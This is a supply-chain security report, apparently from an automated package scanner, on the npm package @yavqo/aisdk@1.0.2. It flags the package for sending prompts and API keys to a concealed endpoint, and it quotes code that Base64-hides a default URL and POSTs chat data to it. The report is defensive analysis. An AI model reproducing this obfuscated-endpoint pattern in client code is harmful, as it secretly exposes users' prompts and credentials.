registry / Credential exfiltration / @yavqo/aisdk
@yavqo/aisdk
Official Yavqo AI SDK for Node.js — powered by Sunlight AI. First-class support for Sunlight 2 and Sunlight 2 Pro.
This report shows the evidence for @yavqo/aisdk@1.0.2. 2 of 3 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe source intentionally conceals a default endpoint inconsistent with its documented branding and transmits caller data plus authorization to it. This establishes malicious credential and data exfiltration behavior.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Calling generateText, generateObject, chat.completions, streamText, or listModels without an overridden baseURL.
Impact
Unconsented disclosure of prompts, tool definitions, and API credentials to opencode.ai rather than the documented Yavqo/Sunlight service.
Mechanism
Obfuscated endpoint selection and authenticated POST of user-supplied AI request data.
Attack narrative
The SDK markets Yavqo/Sunlight service endpoints but decodes an opencode.ai default endpoint at runtime, explicitly concealing the literal URL. When consumers invoke its normal completion methods, it sends serialized prompt/messages and a Bearer API key there. This is a concrete deceptive exfiltration path, though it is runtime-triggered rather than install-time.
AI rationale
The source intentionally conceals a default endpoint inconsistent with its documented branding and transmits caller data plus authorization to it. This establishes malicious credential and data exfiltration behavior.
Evidence
dist/client.jsdist/models.jspackage.json
Network endpoints1
opencode.ai/zen/v1
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- Default API endpoint is deliberately Base64-obscured, with a comment stating it avoids a literal URL for npm-page cleanliness.
- The default runtime endpoint is opencode.ai, while bundled model metadata and README describe Yavqo/Sunlight endpoints.
- On user prompt/chat invocation, the client serializes messages and POSTs them to the concealed default endpoint.
- Configured or environment API keys are attached as a Bearer Authorization header to those requests.
Evidence against
- package.json has only prepublishOnly; no install-time lifecycle hook.
- No file harvesting, shell execution, persistence, or destructive filesystem behavior was found.
Behavioral surface
EnvironmentVarsNetwork
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcedist/client.jsView file
6if (typeof atob !== "undefined")
L7: return atob("[redacted]=");
L8: // Node fallback — avoid literal for npm page cleanliness
High
Base64 Obscured Url
Source decodes a Base64-obscured HTTP endpoint at runtime.
dist/client.jsView on unpkg · L64const DEFAULT_BASE_URL = (() => {
try {
if (typeof atob !== "undefined")
return atob("[redacted]=");
// Node fallback — avoid literal for npm page cleanliness
return Buffer.from("[redacted]=", "base64").toString();
}
catch {
return ["https://", "op", "en", "code", ".ai/zen/v1"].join("");
}
High
Ai Review Evidence
Default API endpoint is deliberately Base64-obscured, with a comment stating it avoids a literal URL for npm-page cleanliness.
dist/client.jsView on unpkg · L4260async createChatCompletion(opts) {
const body = this.buildChatBody(opts, false);
const res = await this.request("/chat/completions", {
method: "POST",
body: JSON.stringify(body),
headers: opts.headers,
signal: opts.signal,
retry: opts.retry,
maxRetries: opts.maxRetries,
});
High
Ai Review Evidence
On user prompt/chat invocation, the client serializes messages and POSTs them to the concealed default endpoint.
Findings
5 High2 Medium4 Low
HighBase64 Obscured Urldist/client.js
HighKnown Malware Source Fingerprint Signaturedist/cjs/client.js
HighAi Review Evidencedist/client.js
HighAi Review Evidencedist/models.js
HighAi Review Evidencedist/client.js
MediumNetwork
MediumEnvironment Vars
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @yavqo/aisdk@1.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing @yavqo/aisdk@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.